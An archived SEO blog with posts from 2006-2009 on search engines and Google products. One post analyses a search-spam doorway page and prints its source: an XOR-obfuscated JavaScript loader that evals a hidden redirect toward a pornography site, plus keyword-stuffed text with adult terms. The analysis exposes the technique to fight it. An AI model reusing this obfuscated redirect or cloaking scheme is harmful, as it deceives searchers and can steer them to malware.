SEO - Search Engine Optimization Blog

SEO and IA - Evolving Search Engine Marketing

2009-02-23T06:41:00.001-08:00

Now this is a nice and simple way to understand the relationship between IA (Information Architecture) and SEO, as well as history of change from both sides of the fence. I found this to be a great portrayal of the search evolution that's taken place over the past 8-10 years and the hard fought understanding of how SEO can be enriched to perform on a client by client basis. Take a gander of the presentation to see what I mean...

SEO and IA: The Beginning of a Beautiful Friendship

View more presentations from msweeny. (tags: iasummit2007 seo)

Advice on SEO Marketing Consultants and Firms

2009-01-01T20:09:00.000-08:00

For the past ten years or so, SEO has been increasing in interest and proportionately in practice. Albeit there are many search engine optimization firms and agencies practicing the marketing art of SEO, many of them don't really understand what to do or how to do it to achieve successful results. Rather, their efforts are derived from picking apart advice and tactics mentioned on a plethora or forums and newsletters. Also, be sure to have a good PPC program running that benefits SEO and vice-versa to gain the most from search engine traffic possible.

Marketing company X may be skilled, but is marketing company Y also technically equipped with software/hardware and expertise to succeed at the highest optimized level? This is a question customers need to ask and figure out, since it is an often overlooked element (perhaps due to one's level of understanding or knowledge in the search marketing space). Either way, my advice about SEO is to realize that its an art concatenated with a science wrapped up in a reverse-engineered riddle, one only the most adept will reap competitive benefits from.

Google Breaks Speed Record for Processing Data Online

2008-12-01T18:43:00.000-08:00

Google has recently announced new strides in its race to process the world's information - they've been able to sort 1 terabyte of data across 1 thousand computers in a only 68 seconds. The previous record of the the same data (1TB) was sorted across 910 computers and took 209 seconds. For one petabyte of data, it took Google 6 hours and 2 minutes to do the sorting, and the sorted data gets moved to 48,000 hard drives!

Google also acknowledges that they had triple redundancy and the data was backed up on 3 hard drives. Could it be that if you reduced that redundancy, this would all be much quicker? Not necessarily, since storing may not be part of the sorting algorithm that was recorded (and storing the data could have still been ongoing after the sort had been completed).

What's next? I guess the exabyte would be a huge step towards instant live data sorting...

The Rarest Words - Semantic SEO Project by Lone Russian Programmer

2008-05-30T06:43:00.001-07:00

Semantic SEO, a new wave of extreme Skiing? A daring court stenographer? Nope. It's a new website that challenges the way information is categorized.

It's interesting when you come across a beta website like this. The site, therarestwords.com, scans whatever website you place for words it deems opportunistic from a search engine marketing perspective. While these rare words are indeed "rare" and theoretically offer the possibility of being opportunities, the reality may be quite different.

That being said, the site is fun and can be quite useful - most of its usefullness depends on its future applications. My favorite feature is the "SEO fight" where you compare one site to another to see who wins the round for unique and rare words. This is a pretty gamable idea, knowing how SEO's tend to take opportunities like this and make them theirs. Why do I say this? Simple. The site encourages users to add terms that describe the sites or to edit what is already described. Simply click and edit any floating box to tag words and add descriptions, thus boosting "rare" words and adding to the database of terms and descriptions that therarestwords.com has for use on collected websites.

Another reason SEO's will take advantage of this tool is that they have incentive. The top 50 websites with the largest collection of rarest words gets a spot on its homepage and a free link that Google, Yahoo! and MSN adore.

I originally came on this article by techcrunch and got interested enough to try the tools.

I do like the site, and it is impressive that one lone Russian programmer built this, but not quite sure how feasible the concept is just yet. Try it out and let me know what you think. Oh and by the way, the Russian programmer has wanted to lay low without exposing his name or any details about him... Sensationalism? Anticipation or suspense building? Who knows.

Where's That Business Located? Try Google Local Voice Search

2007-08-06T12:40:00.001-07:00

When I read that Google has a free 411 phone service, I just had to give it a shot. It turned out for a beta, actually pretty good. The system is based off of it's local results database and maps, with a very cheery set of male and female voices. The number is 1-800-GOOG-41 1 and aptly responds similarly to the 411 operator - all except the fact that is it completely automated. No voice operators here!

Albeit, a bit strange calling a phone service provided by Google instead of an online service, as one expects from the search engine - it could prove quite useful and it's free.
The service is in beta and is called, Google Voice Local Search (GVLS), and according to Google, if the business is part of the Google Maps database, you should be able to get connected.

If there's only a single listing available, it offers to connect you; if more than one, you get a numbered list to choose from. And the best part is you can keep searching and trying other businesses to see how accurate the system is.

Google Web History

2007-04-24T08:00:00.000-07:00

Check out the official Google product blog explaining the benefit of having access to all of your search information from a short and longterm prospectives. While extremely useful for finding your own web trail, it now becomes a major privacy concern, since all of that info is housed on Google and not on your computer or within your own grasp. Yes, one can make the point that it has always resided on Google and was never available to the user, but now it is just that much more targetted.

While I am a proponent of having access to useful data and being able to track your own endeavors (mainly because my memore sucks...), this is a problem, because the web user has no control over the data or situation tied into it... a problem in my book. Nonetheless, this is the advent of new advancement in user searching - thanks Google!

Fighting Google Spam - SEO Technologist Style

2007-02-12T17:29:00.000-08:00

It all began with a client calling and telling me that they uncovered a heinous result in Google. The offender, seeking to gain on their branded term to display pornography and perhaps even install spy ware and viruses, was sitting at position 3 for my client’s brand. We all as SEO’s know the standard procedure is to jump up, bump one’s head into the wall and scream emphatically over the sound of New York City police sirens. But seriously, to submit a Google spam report can take weeks, weeks of defamation and slander for no good reason that leaves one feeling helpless. Well, I decided to proceed with the standard approach and also to dig up everything and anything I could about the culprit – especially with my curiosity piqued over how this black hat person got a leg up on Google’s algorithm. Thus began my challenge to discover the technique (websites and names have been changed to protect the innocent and guilty). First, I took a look at the offending website listing on Google, where it was listed as www.website.info/myspampage.html, clicked on it and let it take me to the pornography result.

It ended up taking me from www.website.info/myspampage.html to www.pornowebsite.com. I decided that there were way too many unquestionably bad things to see in front of my face all at once like that, so I took a step back. Pressing the escape key on my computer keyboard prior to the redirect into porn, I landed in a seemingly blank page. To my surprise however, there was nothing on this page but an H1 tag, JavaScript declarations and some ellipse marks. JavaScript? That certainly seemed out of scope on a basic page like this. I took a look at the JavaScript, and to my surprise the code was in fact, encoded. At the time it seemed to me to have been encrypted. So I decided to look up the function and low and behold, the key to the redirect was held in the encoded JavaScript. So, what is the easiest way to analyze and determine what the code was doing? Take the code, save it to the desktop (X if you are a Linux geek), and change the JavaScript to not execute but rather write the result to the window.

Now once that is complete, I ran the code once more with no executed code and on the screen I see the redirect to yet another website URL:

document.location=http://website2.info/govno/search.php?qq=websitekeywordhere;

Sneaky bastards used a complex JavaScript to embed an encoded JavaScript into the page and also applied a gateway/cloaking page strategy to ensure the key terms used were spammed to hell – giving them some possibility of high rank for some time… But alas, there was more, much more. The site was using a proxy website spamming technique.

Example: www.website.info/myspampage.html (with redirect from website2.info/govno/search.php?qq=websitekeywordhere) -> http://www.pornowebsite.com/.

So in essence, the spammer could have thousands of websites using the redirect script, a proxy from website2.info/govno/search.php?qq=websitekeywordhere and even if one was banned, delisted or penalized, there were thousands of other foot soldiers to take its place. Another very interesting fact was that these “foot soldier” websites held hundreds to thousands of spam pages as well, giving them that much more potential to rank for seemingly random keywords and terms. On with the challenge… I decided to remove the spam page URL and try the root URL were there were large blocks of links (up to thousands) with nothing but spaces in between them. Looking at the different terms used, they must have been generated either using an inventory.overture.com bot to determine best search frequency terms or from a sampling of RSS feeds/website directories. Given this scenario, there were so many random links and phrases/terms that it seemed like it was sampling from a text file or some directory listings.

Now knowing that the spammer had a brilliant strategy in mind to conquer results to gain traffic to the pornography website (install malware, etc), there were a couple of things left on my mind: how widespread was this strategy (how many websites), where are these sites, does Google have an index of them? Do they forward to any other “questionable” or “profitable” sites? Using a reverse DNS tool on the first set of Domains, I pulled up about 90 domains belonging to about 15 IP addresses. Knowing that this is probably a small segment of their “network”, it was still quite sizeable and doing some basic math, it looked like they could have positioned themselves to gain upwards to 1.2 million terms. Even considering that many of the terms would land on page 2 instead of top spots, the spammer could essentially still benefit from a quantity driving strategy, making money on malware installations, traffic brought to the http://www.pornowebsite.com/ website or even through having a combo of revenue methods strung together. If only 100 people were looking on average for each of the 1.2 million terms, that would mean that 120,000,000 searches could be a potential but realistically 12,000,000 could end up being driven into the spamtastic http://www.pornowebsite.com/. That figure is no joke, and it could be quite small when considering the breadth of terms, amount of domains, pages indexed and searches performed.

Phew! What a mouthful there. So now for a look at the actual code from this dubious result for all you SEO geeks out there:

[!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html]
[head]
[title]Newspaperwebsite.com [/title]
[meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"]
[meta name="keywords" content="Newspaperwebsite.com"]
[meta name="description" content=" Newspaperwebsite.com Newspaperwebsite.com Online Looking for Newspaperwebsite.com ? Welcome to Newspaperwebsite.com Site. Full Information About Newspaperwebsite.com Here"]
[script] function nMfqvYV() { eval ("var decs = new Array ();var coder = 62;var r = '';");decs [decs.length] = '%5a%51';decs [decs.length] = '%5d%4b%53';decs [decs.length] = '%5b%50%4a';decs [decs.length] = '%10';decs [decs.length] = '%52%51%5d';decs [decs.length] = '%5f%4a%57';decs [decs.length] = '%51%50';decs [decs.length] = '%3%1c%56';decs [decs.length] = '%4a%4a';decs [decs.length] = '%4e%4';decs [decs.length] = '%11%11%5d';decs [decs.length] = '%59';decs [decs.length] = '%9%7';decs [decs.length] = '%49%51%c';decs [decs.length] = '%e';decs [decs.length] = '%55%52%7';decs [decs.length] = '%c';decs [decs.length] = '%5a%51';decs [decs.length] = '%51%49';decs [decs.length] = '%58';decs [decs.length] = '%50';decs [decs.length] = '%e%f%51';decs [decs.length] = '%4f%4e';decs [decs.length] = '%51%7';decs [decs.length] = '%53%5a';decs [decs.length] = '%57%5b';decs [decs.length] = '%51';decs [decs.length] = '%49';decs [decs.length] = '%48%b%4a';decs [decs.length] = '%47%54';decs [decs.length] = '%10';decs [decs.length] = '%5d';decs [decs.length] = '%51%53';decs [decs.length] = '%11';decs [decs.length] = '%58';decs [decs.length] = '%57';decs [decs.length] = '%50%c%11';decs [decs.length] = '%4d%5b%5f';decs [decs.length] = '%4c%5d%56';decs [decs.length] = '%10%4e%56';decs [decs.length] = '%4e';decs [decs.length] = '%1';decs [decs.length] = '%4f';decs [decs.length] = '%4f%3%6d';decs [decs.length] = '%4a%5f%4c';decs [decs.length] = '%4a%4c%57';decs [decs.length] = '%5c%4b%50';decs [decs.length] = '%5b';decs [decs.length] = '%10';decs [decs.length] = '%5d%51%53';decs [decs.length] = '%1c%5'; for (ii=0;ii[decs.length;ii++) { var arr = decs[ii].split ( '%' ); for (j=1;j[arr.length;j++) arr[j] = (('0x' + arr[j]) ^ coder).toString(16); r += arr.join ( '%' ); } eval(unescape (r)); } nMfqvYV();
[/script]
[/head]
[body]
[table align="center" class="main" cellpadding=0 cellspacing=0 width=760]
[tr valign="top"]
[td]
[h1]Newspaperwebsite.com[/h1]
[p] newspaperwebsite.com newspaperwebsite.com had i been there together with newspaperwebsite.com my soul? i ran newspaperwebsite.com up the stairs newspaperwebsite.com in great haste, newspaperwebsite.com i don t remember - but suddenly she broke into sobs and trembled all newspaperwebsite.com over. a terrible fit of hysterics followed. i had frightened her. i carried newspaperwebsite.com her to the bed. when the attack had passed off, sitting on the bed, looked at me and at the revolver note that the revolver was already newspaperwebsite.com an object familiar to her. i had kept one loaded ever since i opened the shop. i made up my mind. that evening the shopkeeper came, bringing with him a pound of sweets from the shop; she was sitting at her little table. newspaperwebsite.com she was busy at her needlework, and sometimes in the newspaperwebsite.com evening she read books taken from my newspaperwebsite.com bookcase. the choice of books in the bookcase must have had an influence in my favour too. she hardly newspaperwebsite.com ever went out. just before dusk, after dinner, i used to take her out every day for a walk. we took a newspaperwebsite.com constitutional, but we newspaperwebsite.com were not absolutely silent, as we used to be. newspaperwebsite.com i tried, in newspaperwebsite.com fact, to make a show of decorum and eager newspaperwebsite.com for trouble. she went out of newspaperwebsite.com her way to stir up trouble. newspaperwebsite.com her gentleness hindered her, though. when a girl like that rebels, however outrageously she may behave, one can always see that she is forcing herself to do it, and that it is impossible for her to master and overcome her own modesty and shamefacedness. that is why such people go such lengths at times, so that one can hardly believe one s eyes. newspaperwebsite.com one who is accustomed to depravity, on the contrary, it sometimes newspaperwebsite.com attracts the feminine heart. in fact, i purposely deferred the climax: what had happened was meanwhile, enough for my peace of mind and provided newspaperwebsite.com a great number of newspaperwebsite.com pictures and materials for my dreams. newspaperwebsite.com that is what is wrong, that i am not sleepy: in great, too great sorrow, after the first outbursts one is always sleepy. newspaperwebsite.com men condemned to death, they say, sleep very soundly on the last night. newspaperwebsite.com and so it went on for some time. but my anger could never be very newspaperwebsite.com real or violent. and i felt myself as though it newspaperwebsite.com were only acting. and though i had broken off out newspaperwebsite.com marriage by buying that bedstead and screen, i could never, never look upon her as a criminal. and not that i took a frivolous view of her crime, but because i would not have them to see me, and i would not keep a huge dog or a strong manservant, as mozer does, for instance. my newspaperwebsite.com cook opens the doors to my visitors. but in our trade it is impossible to be without means of self-defence in case of emergency, and i kept a loaded revolver. in early days, when first she was newspaperwebsite.com living in my house, she took great interest in that revolver, and asked newspaperwebsite.com questions about it, and i even explained its construction and working; i even persuaded her once to fire at a target. newspaperwebsite.com newspaperwebsite.com then her newspaperwebsite.com voice was rather strong, resonant; though newspaperwebsite.com not quit true it was very sweet and healthy. newspaperwebsite.com newspaperwebsite.com now her newspaperwebsite.com little song was so faint - it was not a coward, and that i had seen newspaperwebsite.com nothing, especially as it was newspaperwebsite.com utterly improbable that, after newspaperwebsite.com seeing what i newspaperwebsite.com had seen, i should shut my eyes again, and at newspaperwebsite.com the same instant. oh, what a whirl of thoughts and sensations rushed newspaperwebsite.com into my mind newspaperwebsite.com in less than a minute. newspaperwebsite.com hurrah for the electric newspaperwebsite.com speed of thought! in that case newspaperwebsite.com so i felt, if she guessed the truth and knew that i was not a personal affair, newspaperwebsite.com but that it concerned the regiment, and about a month ago, being a shameless fellow, he once or twice came into the shop newspaperwebsite.com with newspaperwebsite.com a pretence of newspaperwebsite.com pawning something, and i remember, newspaperwebsite.com began newspaperwebsite.com laughing with shame you know how it is when people laugh with shame. she became hysterical, i saw newspaperwebsite.com that she was newspaperwebsite.com too, newspaperwebsite.com and it was only caused by the desperateness newspaperwebsite.com of my position. but that is over.... newspaperwebsite.com oh, now you are a personage - a financier! a hint at the pawnbroker s shop. newspaperwebsite.com but by then i had succeeded in recovering my newspaperwebsite.com mastery of myself. i saw that she newspaperwebsite.com was thirsting for explanations that be humiliating to me and - i did not leave her side. i kept telling her i should take her to newspaperwebsite.com boulogne to newspaperwebsite.com bathe in newspaperwebsite.com the sea now, at once, in a newspaperwebsite.com fortnight, that she had not been with them. newspaperwebsite.com newspaperwebsite.com teen titans oekaki gunilla hutton horacio altuna andys muscle tiger.com one winged angel remix hugeboobpics teentitans hentai inutaisho human chimera fused twins newspaperwebsite.com luxurious villa ilios anakee tiffany amber theisen intellext information company search user watson hayden panettiere nude tempest bledsoe time.com he mele no lilo hothat tawnee stone shrine copyright © 2002-2006, all rights reserved. [/p]
[/body]
[/html]

Newspaperwebsite.com was used 71 times in the gibberish text above.

Now, I can’t say that this wasn’t a fun project, but nonetheless, this kind of crap does impede the good name and nature of SEO folks who walk in the white/grey hat line. We all want relevant searches and expect that all of our efforts will certainly help deliver those results. Even though different clients come across our plate, the end result is the same, clients get educated, we learn more about technology, industries and online marketing strategy, and search engines evolve. Helping to close the gap for these silly tactics to gain ground in, is every SEO’s responsibility. One network of spammers killed off, wastes their money, removes tens of thousands of possibly affected results from coming to fruition and makes search engines/companies happier – leaving us to look as we should, great professionals with a conscious who are united.

Feel free to leave your impression about this topic. Bad or good, Search Engine Optimization comments always lead to evolving technologies, algorithms and techniques.

Search Dead? Not likely by Yahoo!

2006-06-22T10:33:00.000-07:00

While Dave Pasternack (did-it.com) has some valid reasoning as to Yahoo!'s Subscriptions - their new beta service engine, in my opinion, Dave loses me on his thoughts that search will transition because of Yahoo!'s decision to put stock into their Yahoo! Subscriptions Service. After all, we all know Yahoo! is quite monetarily motivated, not user experience motivated, second, Yahoo! is losing market share to Google, the unreputed victor in search engine technology.

While Yahoo! in essence seems to be admitting defeat in the search engine space when it comes to natural search (organic), Yahoo! is just looking to monetize yet another approach to search. Google is making search better through it's many offerings - enhancing the usefulness of the results and user experience. While Google is in no way perfect, and quite frankly, churns out some very useless results, this is a complicated technology and with experience, testing and experiementation - search engines will remain organic in most.

Organic (natural search) may change when the algorythm improves to a level of proficiency within the best 10 results, making the SEO process intense, however, competition will remain and boost the need to know search engine technology inside and out.

Search Engine Optimization Newsletter

2006-06-20T06:28:00.000-07:00

The Webmaster Newsletter - Site Pro News is a great source for Search Engine Optimization information, and I would emplore you to signup for their SEO tips newsletter (especially if you are new to SEO). Many of their articles are useful, and best yet, they keep things simple and cite sources for direct information.

Of all the SEO or website development newsletters by email I receive, Site Pro News is one of the better ones. Fo instance, at the time of this writting (06.20.06), Site Pro News has on its home page 25 ways to add quality content to your website (part 1). This article makes its way into some fresh and not-so fresh ideas however, all of them are excellent for SEO and also making your content useful to users. While there are quite a few ads and sponsored links available on their website, the content is always useful and written to inform.

Google Coop 101

2006-06-14T11:10:00.000-07:00

I was experimenting with Google Coop and actually learned quite a few useful things regarding the usefulness and utilization of the service. Here are a couple of bits in the way of public knowledge and observation:

1) Google Coop is subscription based - Meaning, only users logged in and subscribed to Google Services will be able to view Coop listings (not coop refinements in the SERP)

2) Google Coop is flexible - The feeds that are provided for searches allow for dynamic rulesetting. For example: If you own a blog at site.com/blog and you offered green, purple, yellow, orange, white and black widgets, a ruleset could be set to include a format like: [Color]+ site widget. These feeds can be "smart" enough to be found, and are easy to implement - such as: "purple site widgets", "blue site widgets" or "green site widgets" (Take a look at the screenshot provided to see what I mean).

3) Google Coop feeds gain more visibility through popularity - Feeds that have high subscriber counts within their industry, gain more visibility through subscriber searches, and also place into the category "authority" sites listings within the Google Coop home website (whether or not someone is subscribed or logged in to Google Services). Much more to be unveiled soon, however this is certainly a great start with regards to service understanding and knowledge for Google Coop.

Do tell if you in fact have findings or your own research to share, this is most useful to anyone dedicated to learning SEO or staying on top of the curve within the industry...

Spreadsheets Courtesy of Google

2006-06-07T07:41:00.000-07:00

Rumors are flying concerning Google Spreadsheet, a new web based spreadsheet application which allows users to create spreadsheets online (rumored to be included directly off of Google Toolbar with an additional partnership with Sun).

I am always curious to try a new offering, particularly when it has the potential to be really useful or if it competes against a product I deem inferior within the same class (IE: Microsoft Excel spreadsheet Program). Although Microsoft's spreadsheet program works to a degree and has helped me create ton's of useful documents, The way it works is... well... a bit clodgy. Web-based may not necessarily be a good thing eaither, unless it offers the potential to be linked into intranet applications using an API... think about this Google Spreadsheet developers (if you haven't already).

We can wish for the best, however in reality, all we can do is wait for Google Spreadsheet and at the current time, it is quite a tease for many in industries which utilize Spreadsheet technologies such as analytics, financial and SEO. Given all of the tools that Google develops and releases, it is amazing at times at the rate in which they are churned out (all in beta mind you).

Comments, anyone?

Google Music - Search with an Extra Bit-e

2006-05-30T13:22:00.000-07:00

Take a look at the above screenshot and you will see what I mean. I got a Google Music result off of the term "Foxy".

Although this to me is all a part of the Google search engine suite of tools, including but not limited to: Google Maps, Google Local, Google Desktop, Google Toolbar, Google Base, Google Trends, Google Finance and Google Coop. Of course there are more, but these seem to be the core of apps for the search engine giant, and this particular selection of tools seems to fit the bill when it comes to user search refinement and quality searching.

One thing in common is the logic behind the search engine applications, but they are all unique in the functionality and accessibility they offer to their users and sources.

KartOO Meta Search Engine

2006-05-30T12:16:00.000-07:00

KartOO is a search engine which has applied a great implementation of design, interactivity and search, all-in-one website. Although it doesn't use it's own blended algorithym, this meta search engine taps into results from a variety of sources and brings them together into a map generated by top twenty results and then "maps" them into a keyword/theme cloud.

Not only is the KartOO search engine fun, but it also provides guidance for new web users, or for practicianers of SEO or website optimization for search engines. By viewing the keyword cloud provided, one can determine which of these words stick out at a search engine more (search engine simultation), posing keyword optimization issues or strengths.

Check out this website as it is indeed something to look out for and use.

Google Coop Testing and XML Feeds

2006-05-23T12:17:00.000-07:00

I've been testing Google Coop quite a bit, making several XML feeds and trying out a combination of elements as per the Google Coop developer pages. I still haven't asked anyone to subscribe to my links just yet, but I am hoping since you are reading this (Hint, Hint), that you would want to subscribe to my SEO Google Coop profile...

Basically, I would think you will start seeing advanced notice of any activities related to my blogs, SEO, Search Engines and of course, updated info on Google Coop. Let me know what you observe given a subscription to my Google Coop Profile.

And feel free to post relevant and useful Google Coop profiles here as well.

Google Travel Inlays : CSI Las Vegas (Can Search Include?)

2006-05-23T10:35:00.000-07:00

We've all seen by now the Google Base drop downs on Google's SERP for selections based on recipes, real estate, jobs and car models, but there is a new intregue upon the horizon.

Enter the specific search below for "Monte Carlo Las Vegas", bringing a travel inlay unlike the usual suspects...

In making this observation useful, I also searched based on the pattern for other "known" hotels in Las Vegas, namely "Paris", "Luxor", "Bellagio" and "Venetian". Funny thing is, that while "Paris" and "Luxor" hotels came up in the Las Vegas search, Bellagio and Venetian inlays were non existant - rather they led directly to the standard SERP listing on Google for the official hotel websites.

When I ran a more general search on Google for "Las Vegas", I got what appeared to be a Google Co-Op result - providing a selection of drill-down links to narrow the search down for relevance. I find this encouraging and highly useful for information and research abilities.

Kosmix Niche Search Engine

2006-05-18T08:13:00.000-07:00

Practically, this is a refined search engine looking up relative topics and information across a select vertical set. Namely, Health, Travel, Finance, US Politics and Video Games.

It is refreshing to see how information is laid out at Kosmix, a combination of ASK.com and Superpages.com, giving refinement categories / key terms once a search is performed.

Although the Kosmix search engine is small right now, I could see where it has it's strengths, certainly specified searches in it's verticals can provide essentially more useful results than in a generic search like MSN or Yahoo!

Snap

2006-05-15T11:38:00.000-07:00

Snap has come back into the race with a new interface and also a nifty new search engine. While I don't think it will win any following as of yet, it really is quite easy to use and may in fact beat out www.live.com (MSN's offering) without much difficulty. There are far less bugs and with a couple more features added to Snap.com, the search engine might be a serious contender.

Definately check Snap's search engine out, I had fun testing several searches and using the in-browser, browser, lol. There in fact seems to already be a way to "suggest" a website without them actually having any link to it... As a matter of fact, it looks as if Snap uses an ASK.com approach - Using results that it spiders without recommended URL's then if they exist in the database and someone searches on those sites that aren't yet popular, it votes it into caching a thumbnail and other relevant visual and textual info.

The inlaid browser that displays a thumbnail and information regarding that site being looked at, makes Snap's search engine easy to use for comparing result descriptions with actual page content, making the life of a search that much more short and efficient.

Now it's up to the test of time and feedback from users to see how Snap is regarded when compared to top-tiered and even second-tiered web search engines.

AlltheWeb Livesearch Beta

2006-05-11T08:41:00.000-07:00

I am sure this search has been around for a while on alltheweb, but I found it to be a very good implementation of a "Google Suggest" clone for search. It's slightly buggy, but for the most part fund and useful. If the engine also moves into being more targetted, perhaps a niche discovery search engine, I think alltheweb might gain popularity and play with the big boys...

Check it out for yourself.

SEO Keyword Trends Brought to you by Google Trends

2006-05-11T08:08:00.000-07:00

Now this tool is quite useful when comparing terms due to consistancy of searches, seasonality of a search and also to determine popularity of terms. So in addition to keyword frequencies, this tool can certinaly help pinpoint the stress-points of an campaign or strategy to optimize it even further. Google Trends also displays regional, language and top cities that conduct the search. Talk about search intelligence!

Furthermore, Google Trends can do wonders for SEO and SEM in external site side optimization and keyword / trend research. It also comes with nifty and easy to use line and bar charts (which can go very well within research, sales and presentation documents). Another note to take in is the viability of ad posting and even related search terms inclusion into results in the future release of Google Trends.

Keep them coming Google.

Spam brought by StopBounce

2006-05-03T07:54:00.000-07:00

All I have to say is, OMG, what a spammy concept. Not only is this very easy to implement (a javascript declaration on the homepage or landingpage replacing the "Back Button" destination with the spam site.

In theory, this is a good concept, but it seems like in every implementation, it goes to sites like these to ruin the viability of relevant results for users, after all, these are commissioned and can certainly be irrelevant. Figured I would speak on this topic since it's a rare implementation and it's just way to simple an exploit of website visitors...

Yahoo! tries SERP Integration

2006-05-03T07:40:00.000-07:00

Although in many cases Yahoo! Buzz results are not extremely relevant, I have to say that there is one very positive thing coming out of Yahoo! and Google for that matter.

There seems to be a surge in search engine tool integration directly into the SERPs. While Yahoo! Buzz may not be best suited in this fashion, it's nice to see that Yahoo is taking search a bit more seriously and making a move on enhancing results.

Yahoo! Buzz would certainly help some users and for some particular searches, could be valued, but I am sure Yahoo has other tools which can be even more effective... to better follow in Google's footsteps with Google Local and Google Base.

I will certainly keep my eye on this movement and see if any new suprises appear.

Flash SEO and Optimization

2006-05-02T13:08:00.000-07:00

This is an excellent example of how to and how not to use Flash on a website that is looking to gain traffic or to conduct SEO. The biggest no-no's for Flash is to have a 100% flash based website. It is a large topic of discussion in the SEO community - whether or not Google and the other large search engines (MSN, Yahoo, ASK) pick up on difficult-to-impossible coding technologies (IE: Flash and Javascript). Until search engines are 80% or more accurate at searching these types of files/code, there is no reason to adopt them. It may work in the longterm or it may not, one thing is for sure, simple is better.

Although I hate eye sores, you know, those websites made all of text with about 30 colors, many of them do extremely well and it is not because of their design. Think about it for a second, those websites are extremely thin, little to no hinderances in terms of code and visible content, thus search engines can better read and spider (AKA: scan) websites. This in turn improves the success of an SEO campaign or effort.

In my opinion, I don't refrain from using images, flash or javascript. I just offload javascript to external files, minimize the lines of code those external references take on a page, use a reasonable amount of images (roughly 10-20% of the page), and no more than 30% of flash is used on a page. When imbedding navigation into flash, I always double it up with either image links with alt attributes or straight-up text links (preferred).

Read the article for a bit more insight into this topic. I know you will find it useful and perhaps a great learnings opportunity.

SEJ - Google vs. Microsoft - Bout 2

2006-05-02T07:26:00.000-07:00

This story, fresh off the press from Search Engine Watch, involves a treacherous plot followed by reveling in absolute horror and finally topped with incredulous mayhem! Just kidding, its the ongoing Google VS Microsoft battle involving a buch of whining, software debates and the neverending fight for market share.

Thing is, Google's bundled into firefox and now Microsoft intends on integrating MSN (Live) search into IE7. Of course Google has a problem with this move on Microsoft's part and has filed complaints, however is it fair that they do the same with firefox? Essentially We understand a couple of things that also make this unfair:

1) Microsoft sells everything under the sun (OS's, Search, Electronics, software) whereas Google is purely search (working on getting other offerings, clearly)
2) Google dominates the search market share, something like 45% VS MSN's 11%.

So this cannot be considered apples to apples, but on the search landscape, Google clearly owns it. As has been mentioned on other blogs, the two should shift from default settings to an initial user setup to determine which engine they want set up as default. Personally, they should just set the default to clusty, just to agree that neither will be favored ;)I left this comment on the page as an opine relation to the subject and companies: It's pretty incredible how easily the tide turns. Microsoft, just recently, in the public's eyes, was considered the big brother / evil corporation and now Google's being put into that role. The difference I believe is that both Google and Microsoft are the worlds mega corporations and it would seem perception has made them equal. Although users are somewhat married to Google search and Microsoft Windows, most refuse to let go to adopt new software, and perhaps with good reason. It costs alot and also requires a good bit of learning shifts and perhaps even paradigm altering. Despite the battle between the goliaths, so long as they perform at least to par, we are certainly talking business. By the way, I don't agree with Microsoft most times, but they are certainly using a strategy followed by tactic that will raise their search market share.

Let me know what you think, love to get feedback on these topics.

Social Networking - Does Myspace own it?

2006-05-01T06:56:00.000-07:00

Never really having the inclination to participate on Myspace, I haven't felt the need or desire to communicate in that way, until now. Considering the possibility of Myspace-like websites that have more to offer than some rants from 11-16 year olds, I might, along with a myriad of other Internet citizens, also take flight to these new websites. It could take a while though.

A friend introduced me to myspace years ago, but it has really gained steam in the media as of late. As a matter of fact the "Social Networking" website has brought my best friend a fiance, and they are extremely well matched. I couldn't believe that Myspace could be a way to communicate effectively since to me it seemed like a college micro-site and nothing more, but once again, its how people use it and think of it - not how basic or advanced.

Well on to the actual story at hand. The article at CNN Money goes into a couple of new companies poised to make money off of the social networking space - based all on topics and subjects in business and personal fields. Everything from joke sharing to business collaboration.

Realizing that this is precisely what the Internet was envisioned to accomplish, these sites should do phenomenally well... Looks like the big boys have it in a vice at this point, but as always, the 'net gives the little folk quite some leverage...

Like the old saying goes, "Give a man a fish and he will eat for days, give a man a fishing pole and the man can live for years." , or at least somewhere along those lines. You get the point.

Prime Time for Vlogs?

2006-05-01T06:35:00.000-07:00

I admit, when blogs just became known, I shrugged them off as diaries for little kids back in 2000-2001, but they have certainly come of age and advanced far beyond what I expected. Although they are in fact fun or useful and informative, there are lacking elements such as touch, animation and smell. Obviously we have not come of age for those senses through technology (at least not publically known or available).

Welcome to Vlogs. Practically an online video diary which can be used in a plethora of ways - everything from commercials to low-budget films to someone's every day existance. I can certainly ses this as a huge thing in the next year two with the abundant proliferation of video blogginh devices such as cell phones, Ipods and combination gizmos.

Let us all rejoice, yet another way to waste time in the office! But seriously, this coulod be a liberating experience for you and I, perhaps even a life saving method of delivery for those without the means to get their messages out from third-world countries and the like...

We will soon see and be able to contribute to this new found and widely available medium.

Google Versus Microsoft: Search Engines Divided via OS

2006-05-01T06:27:00.000-07:00

And the beat goes on, a story of David and Goliath or in this case I would rather say Kong Vs. Goliath...

This is the anti-trust stigmata that has since plagued Microsoft since the beginning of it's days... I would expect that there are a few variables responsible for this reaction.

1) Microsoft has so much marketshare for OS sales and similar lines of computer products
2) Microsoft is clearly working on taking the search marketplace
3) Microsoft has leverage through its motive and domineering marketshare products

Simultaneously, considering the priciple of business operations and leverage, I would, in Microsoft's shoes also slip in "default" settings to MSN. Since Microsoft is leving users a choice by making the option available to select other search engines as default, they are in fact opening the OS and bypassing anti-trust related issues.

Its obviously to Google's gain to have the select your default search engine durring the OS setup, however, wouldn't that be too easy? After all this is business, not an arbitrary group looking out for all parties...

Google Services in Abundance

2006-04-20T10:19:00.000-07:00

It's pretty amazing when you think about how many Google Services exist for users, everything from finance to specialized services to email and travel planning. The wikipedia page referenced goes more in depth into these services (80+% of them in beta), and gives you a complete picture of Google's masterplan, as of yet.I do find many of there services incredibly useful and relevant, and many others redundant or quite trivial for advanced use. I think it's Google covering their bases when it comes to a variety of their users and human behaviors online. Obviously, Blogger is one of my favorit tools and gmail is quite smooth. The Google Base Beta is becoming a favorite of mine, but still has quite a few bugs and it's patterns of use (in terms of SEO) are not well known, making this a bit of an enigma...
Link: http://en.wikipedia.org/wiki/List_of_Google_services_and_tools

Google Calendar

2006-04-17T14:15:00.000-07:00

Yet another Google application setting itself up to become an important appliance for Google's users. It is actually quite useful in the fact that it may be generated by buckets so you can have multiple calendars for different functions or just one for all. I am poised to take a more indepth look at this tool to see it if it integrates into Outlook or allows direct integration with Gmail, Google Base and other Google specific tools.

Look out folks, next might be Google's own personalized E-shop... perhaps Google and Amazon really will be close fitting for this endeavor...

Google / Yahoo Local Submissions Tips

2006-04-07T20:45:00.000-07:00

